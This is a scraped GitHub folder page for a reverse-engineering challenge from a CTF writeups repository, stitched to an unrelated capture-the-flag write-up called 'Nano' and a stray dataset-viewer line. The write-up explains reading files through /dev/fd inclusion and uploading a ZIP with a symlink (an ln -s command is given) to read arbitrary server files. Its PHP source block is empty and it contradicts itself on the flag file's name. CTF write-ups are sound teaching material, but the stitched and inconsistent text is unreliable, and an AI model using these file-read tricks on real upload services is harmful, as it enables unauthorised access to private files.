<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/KEERRO/ctf-writeups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights
</details-menu></div></details></div></nav> </div>
<div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " >
<div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1630369297.4628859" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/KEERRO/ctf-writeups/refs" cache-key="v0:1630369297.4628859" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="S0VFUlJPL2N0Zi13cml0ZXVwcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>FwordCTF 2021</span></span><span>/</span><span><span>Reverse engineering</span></span><span>/</span>saw<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctf-writeups</span></span></span><span>/</span><span><span>FwordCTF 2021</span></span><span>/</span><span><span>Reverse engineering</span></span><span>/</span>saw<span>/</span></div>
<div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/KEERRO/ctf-writeups/tree-commit/f3fe3aa11f2a80f3f77703c624e48f72424efc19/FwordCTF%202021/Reverse%20engineering/saw" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/KEERRO/ctf-writeups/file-list/master/FwordCTF%202021/Reverse%20engineering/saw"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>SAW.exe</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>parsed_disassembly.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>patched_binary_to_get_clean_disassembly.exe</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>solver.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div></div>
</main> </div>
</div>
<div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs
<svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template>
</body></html>
|
# Nano
## Problem
It is not difficult to get the flag of this challenge because I have left some clues for you!
## Solution
We are given a simple static website as a blackbox. There's a clue in the sources: `Flag is in /etc/ff3efa4307078c85678c6adee3b5f1b1af2ba16e/nanoflag/`, it will be important later.
Task name is a clue in itself, nano's backup files are appended with a tilde, so accessing source of an `index.html~` page gives us next clue: `This URI may help you: /801910ad8658876d56f5c8b24a563096.php`.
This page spits out its source:
```php
```
Most important part here is that the script opens a file and our file inclusion is done before it's closed. It means, that we can access this file by accessing actual file descriptor in `/dev/fd/`. Simple bruteforce gives us the path `/dev/fd/10` and the next clue: `Just another help for you :) /ffc14c6eb03e852ea2d2cbe18b3f4d76.php Hope be useful...`.
We are presented with a blackbox that accepts ZIP-archives and extracts its contents to some folder. Due to lack of archive content validation, we can use symlinks to access arbitrary files on the system.
We take the path we were given in the first hint and create an archive with a symlink to this folder:
```shln -s /etc/ff3efa4307078c85678c6adee3b5f1b1af2ba16e/nanoflag/ kek ```
After unzipping, we can access the folder from the web: `/uploads/144f011d6b80333683d593977aebb494e374dafe/kek/`, but file listing isn't available, so we have to just guess that flag is in the `file.txt`, so accessing `/uploads/144f011d6b80333683d593977aebb494e374dafe/kek/flag.txt` gives us the flag.
## TL;DR
- Local file read - ZIP symlink upload |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.